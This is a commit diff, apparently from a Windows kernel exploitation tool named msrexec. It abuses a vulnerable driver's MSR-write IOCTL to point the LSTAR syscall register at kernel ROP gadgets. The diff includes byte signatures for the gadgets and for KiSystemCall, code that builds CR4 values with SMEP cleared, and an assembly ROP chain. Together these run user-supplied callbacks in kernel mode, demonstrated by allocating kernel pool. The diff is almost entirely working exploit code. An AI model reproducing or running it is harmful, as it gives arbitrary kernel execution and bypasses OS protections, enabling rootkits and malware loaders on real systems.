i think my ssd i dying, this is a temp push...

main.cpp

@@ -18,12 +18,12 @@ int __cdecl main(int argc, char** argv)
 	std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe"));
 	std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem"));
 
-	writemsr_t _write_msr = 
+	writemsr_t _write_msr =
 		[&](std::uint32_t reg, std::uintptr_t value) -> void
 	{
 		// put your code here to write MSR....
 		// the code is defined in vdm::writemsr for me...
-		vdm::writemsr(reg, value); 
+		vdm::writemsr(reg, value);
 	};
 
 	const auto ex_alloc_pool =
@@ -31,7 +31,7 @@ int __cdecl main(int argc, char** argv)
 			utils::kmodule::get_export(
 				"ntoskrnl.exe", "ExAllocatePool"));
 
-	const auto dbg_print = 
+	const auto dbg_print =
 		reinterpret_cast<dbg_print_t>(
 			utils::kmodule::get_export(
 				"ntoskrnl.exe", "DbgPrint"));
@@ -43,13 +43,13 @@ int __cdecl main(int argc, char** argv)
 	for (auto idx = 0u; idx < 100; ++idx)
 	{
 		msrexec.exec([&ex_alloc_pool, &dbg_print]() -> void
-		{ 
-			dbg_print("> allocated pool -> 0x%p\n",
-				ex_alloc_pool(NULL, 0x1000));
-		});
+			{
+				dbg_print("> allocated pool -> 0x%p\n",
+					ex_alloc_pool(NULL, 0x1000));
+			});
 	}
 
-	const auto unload_result = 
+	const auto unload_result =
 		vdm::unload_drv(drv_handle, drv_key);
 
 	if (unload_result != STATUS_SUCCESS)
@@ -60,4 +60,4 @@ int __cdecl main(int argc, char** argv)
 
 	std::printf("completed tests...\n");
 	std::getchar();
-}
+}

msrexec.cpp

@@ -1,12 +1,12 @@
 #include "msrexec.hpp"
 
-void msrexec_handler()
+void msrexec_handler(callback_t* callback)
 {
 	// restore LSTAR....
 	__writemsr(IA32_LSTAR_MSR, m_system_call);
 
 	// call usermode code...
-	//callback();
+	(*callback)(ntoskrnl_base, get_system_routine);
 }
 
 namespace vdm
@@ -14,39 +14,129 @@ namespace vdm
 	msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
 		: wrmsr(wrmsr)
 	{
+		if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
+			if (!find_gadgets())
+				std::printf("> failed to find gadgets...\n");
+
+		if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
+			if (!find_globals())
+				std::printf("> failed to find globals...\n");
+
+		// this is a guess aided by cpuid feature checks...
+		cpuid_eax_01 cpuid_info;
+		__cpuid((int*)&cpuid_info, 1);
+
+		cpuid_eax_07 cpuid_features;
+		__cpuid((int*)&cpuid_features, 7);
+
+		// if i dont set a bit, it means its 0...
+		cr4 cr4_value{};
+
+		cr4_value.debugging_extensions = true;
+		cr4_value.page_size_extensions = true;
+		cr4_value.machine_check_enable = true;
+
+		// however the system can still *not* have PAE enabled 
+		// but i assume if its supported, windows will use it...
+		// if you find out otherwise please email: _xeroxz@back.engineer...
+		cr4_value.physical_address_extension = 
+			cpuid_info.cpuid_feature_information_edx.physical_address_extension;
+
+		// again the system can still *not* have PGE enabled 
+		// but i assume if its supported, windows will use it...
+		// if you find out otherwise please email: _xeroxz@back.engineer...
+		cr4_value.page_global_enable = 
+			cpuid_info.cpuid_feature_information_edx.page_global_bit;
+
+		// again the system can still *not* have FXSAVE/FXRSTOR enabled 
+		// but i assume if its supported, windows will use it...
+		// if you find out otherwise please email: _xeroxz@back.engineer...
+		cr4_value.os_fxsave_fxrstor_support = 
+			cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
+
+		// windows has this bit high on my VM so I 
+		// assume windows can handle these exceptions...
+		// if you find out otherwise please email: _xeroxz@back.engineer...
+		cr4_value.os_xmm_exception_support = true;
+
+		cr4_value.fsgsbase_enable = 
+			IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
+
+		cr4_value.os_xsave = 
+			IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
+
+		m_smep_off.flags = cr4_value.flags;
+		m_smep_off.smep_enable = false;
+
+		// WARNING: some virtual machines dont have SMEP...
+		// my VMWare VM doesnt... nor does my Virtual Box VM...
+		m_smep_on.flags = cr4_value.flags;
+		m_smep_on.smap_enable = cpuid_features.ebx.smep;
+
+		ntoskrnl_base = 
+			reinterpret_cast<void*>(
+				utils::kmodule::get_base("ntoskrnl.exe"));
+
+		get_system_routine =
+			reinterpret_cast<get_system_routine_t>(
+				utils::kmodule::get_export(
+					"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
+
+		std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
+		std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
+		std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
+		std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
+		std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
+		std::printf("> m_system_call -> 0x%p\n", m_system_call);
+
+		std::printf("> check to make sure none of these^ are zero before pressing enter...\n");
+		std::getchar();
+	}
+
+	auto msrexec_ctx::find_gadgets() -> bool
+	{
+		m_mov_cr4_gadget =
+			utils::rop::find_kgadget(
+				MOV_CR4_GADGET, "xxxx");
+
 		if (!m_mov_cr4_gadget)
-			m_mov_cr4_gadget = 
-				utils::rop::find_kgadget(
-					MOV_CR4_GADGET, "xxxx");
+			return {};
+
+		m_sysret_gadget =
+			utils::rop::find_kgadget(
+				SYSRET_GADGET, "xxx");
 
 		if (!m_sysret_gadget)
-			m_sysret_gadget =
-				utils::rop::find_kgadget(
-					SYSRET_GADGET, "xxx");
+			return {};
+
+		m_pop_rcx_gadget =
+			utils::rop::find_kgadget(
+				POP_RCX_GADGET, "xx");
 
 		if (!m_pop_rcx_gadget)
-			m_pop_rcx_gadget =
-				utils::rop::find_kgadget(
-					POP_RCX_GADGET, "xx");
+			return {};
 
-		if (m_kpcr_rsp_offset && m_kpcr_krsp_offset)
-			return;
+		return true;
+	}
 
-		m_smep_off = 0x6F8; // TODO construct cr4 value...
-		m_smep_on = 0x6F8;
-		const auto [section_data, section_rva] = 
+	auto msrexec_ctx::find_globals() -> bool
+	{
+		const auto [section_data, section_rva] =
 			utils::pe::get_section(
 				reinterpret_cast<std::uintptr_t>(
 					LoadLibraryA("ntoskrnl.exe")), ".text");
 
 		const auto ki_system_call =
 			utils::scan(reinterpret_cast<std::uintptr_t>(
-				section_data.data()), section_data.size(), 
+				section_data.data()), section_data.size(),
 					KI_SYSCALL_SIG, KI_SYSCALL_MASK);
 
-		m_system_call = (ki_system_call - 
+		if (!ki_system_call)
+			return {};
+
+		m_system_call = (ki_system_call -
 			reinterpret_cast<std::uintptr_t>(
-				section_data.data())) + section_rva + 
+				section_data.data())) + section_rva +
 					utils::kmodule::get_base("ntoskrnl.exe");
 
 		/*
@@ -58,13 +148,7 @@ namespace vdm
 
 		m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
 		m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
-
-		std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
-		std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
-		std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
-		std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
-		std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
-		std::printf("> m_system_call -> 0x%p\n", m_system_call);
+		return true;
 	}
 
 	void msrexec_ctx::exec(callback_t kernel_callback)
@@ -83,13 +167,20 @@ namespace vdm
 		while (!SwitchToThread());
 
 		// set LSTAR to first rop gadget... race begins here...
-		wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
-
-		// go go gadget kernel execution...
-		syscall_wrapper(kernel_callback);
+		if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
+			std::printf("> failed to set LSTAR...\n");
+		else
+			// go go gadget kernel execution...
+			syscall_wrapper(&kernel_callback);
 
 		// reset thread priority...
 		SetPriorityClass(GetCurrentProcess(), thread_info.first);
 		SetThreadPriority(GetCurrentThread(), thread_info.second);
 	}
+
+	void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
+	{ this->wrmsr = wrmsr; }
+
+	auto msrexec_ctx::get_wrmsr() -> writemsr_t const
+	{ return this->wrmsr; }
 }

msrexec.hpp

@@ -8,15 +8,19 @@
 #define POP_RCX_GADGET "\x59\xc3"
 #define SYSRET_GADGET  "\x48\x0F\x07"
 
-// this is win10 2004... TODO: see how far back this signature works...
+// not sure how far back this signature goes... works on 1507 though....
 #define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
 #define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
 static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
 
-using callback_t = std::function<void()>;
+using get_system_routine_t = void* (*)(void*, const char*);
+using callback_t = std::function<void(void*, get_system_routine_t)>;
 using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
-using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>;
-extern "C" void msrexec_handler();
+using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
+
+extern "C" void msrexec_handler(callback_t* callback);
+inline get_system_routine_t get_system_routine = nullptr;
+inline void* ntoskrnl_base = nullptr;
 
 namespace vdm
 {
@@ -25,7 +29,11 @@ namespace vdm
 	public:
 		explicit msrexec_ctx(writemsr_t wrmsr);
 		void exec(callback_t kernel_callback);
+		void set_wrmsr(writemsr_t wrmsr);
+		auto get_wrmsr() -> writemsr_t const;
 	private:
+		auto find_gadgets() -> bool;
+		auto find_globals() -> bool;
 		writemsr_t wrmsr;
 	};
 }

msrexec.vcxproj

@@ -11,6 +11,7 @@
     </ProjectConfiguration>
   </ItemGroup>
   <ItemGroup>
+    <ClInclude Include="ia32.hpp" />
     <ClInclude Include="loadup.hpp" />
     <ClInclude Include="msrexec.hpp" />
     <ClInclude Include="raw_driver.hpp" />

msrexec.vcxproj.filters

@@ -29,6 +29,9 @@
     <ClInclude Include="msrexec.hpp">
       <Filter>Header Files</Filter>
     </ClInclude>
+    <ClInclude Include="ia32.hpp">
+      <Filter>Header Files</Filter>
+    </ClInclude>
   </ItemGroup>
   <ItemGroup>
     <ClCompile Include="main.cpp">

syscall_handler.asm

@@ -4,7 +4,7 @@ extern msrexec_handler : proc
 	; offsets into _KPCR/_KPRCB
 	m_kpcr_rsp_offset  dq	0h		
 	m_kpcr_krsp_offset dq	0h
-	m_system_call dq		0h
+	m_system_call	   dq	0h
 
 	m_mov_cr4_gadget dq 0h
 	m_sysret_gadget  dq 0h
@@ -13,7 +13,6 @@ extern msrexec_handler : proc
 	m_smep_on  dq	0h
 	m_smep_off dq	0h
 
-	; all of these are setup by the c++ code...
 	public m_smep_on
 	public m_smep_off
 
@@ -54,25 +53,28 @@ syscall_handler proc
 syscall_handler endp
 
 syscall_wrapper proc
-	push r10			
-	mov r10, rcx												
-	push m_sysret_gadget										
+	push r10													; syscall puts RIP into rcx...
+	mov r10, rcx												; swap r10 and rcx...
+	push m_sysret_gadget										; REX.W prefixed...
 
-	lea rax, finish												
-	push rax
-	push m_pop_rcx_gadget
+	lea rax, finish												; preserved value of RIP by putting it on the stack here...
+	push rax													;
 
-	push m_mov_cr4_gadget										
-	push m_smep_on
-	push m_pop_rcx_gadget
+	push m_pop_rcx_gadget										; gadget to put RIP back into rcx...
 
-	lea rax, syscall_handler									
-	push rax
+	push m_mov_cr4_gadget										; turn smep back on...
 
-	push m_mov_cr4_gadget										
-	push m_smep_off												
-	syscall
+	push m_smep_on												; value of CR4 with smep off...
+	push m_pop_rcx_gadget										;
 
+	lea rax, syscall_handler									; rop to syscall_handler to handle the syscall...
+	push rax													;
+
+	push m_mov_cr4_gadget										; disable smep...
+	push m_smep_off												; 
+
+	syscall														; LSTAR points at a pop rcx gadget... 
+																; it will put m_smep_off into rcx...
 finish:
 	pop r10
 	ret

syscall_handler.h

@@ -1,13 +0,0 @@
-#pragma once
-#include <cstdint>
-extern "C" std::uint32_t m_kpcr_rsp_offset;
-extern "C" std::uint32_t m_kpcr_krsp_offset;
-
-extern "C" std::uintptr_t m_pop_rcx_gadget;
-extern "C" std::uintptr_t m_mov_cr4_gadget;
-extern "C" std::uintptr_t m_sysret_gadget;
-
-extern "C" std::uintptr_t m_smep_on;
-extern "C" std::uintptr_t m_smep_off;
-extern "C" std::uintptr_t m_system_call;
-extern "C" void syscall_wrapper(...);

utils.hpp

@@ -17,6 +17,7 @@
 #include <string>
 #include <vector>
 #include <map>
+#include "ia32.hpp"
 
 typedef struct _RTL_PROCESS_MODULE_INFORMATION
 {
@@ -38,6 +39,24 @@ typedef struct _RTL_PROCESS_MODULES
 	RTL_PROCESS_MODULE_INFORMATION Modules[1];
 } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
 
+extern "C++"
+{
+	char _RTL_CONSTANT_STRING_type_check(const WCHAR* s);
+	// __typeof would be desirable here instead of sizeof.
+	template <size_t N> class _RTL_CONSTANT_STRING_remove_const_template_class;
+template <> class _RTL_CONSTANT_STRING_remove_const_template_class<sizeof(char)> { public: typedef  char T; };
+template <> class _RTL_CONSTANT_STRING_remove_const_template_class<sizeof(WCHAR)> { public: typedef WCHAR T; };
+#define _RTL_CONSTANT_STRING_remove_const_macro(s) \
+    (const_cast<_RTL_CONSTANT_STRING_remove_const_template_class<sizeof((s)[0])>::T*>(s))
+}
+
+#define RTL_CONSTANT_STRING(s) \
+{ \
+    sizeof( s ) - sizeof( (s)[0] ), \
+    sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \
+    _RTL_CONSTANT_STRING_remove_const_macro(s) \
+}
+
 namespace utils
 {
 	inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)

vdm.hpp

@@ -50,12 +50,12 @@ namespace vdm
 		return driver::unload(drv_key);
 	}
 
-	inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> void
+	inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
 	{
 		std::uint32_t bytes_handled;
 		write_msr_t io_data{ reg, value };
 
-		DeviceIoControl
+		return DeviceIoControl
 		(
 			vdm::drv_handle, IOCTL_WRMSR,
 			&io_data, sizeof io_data,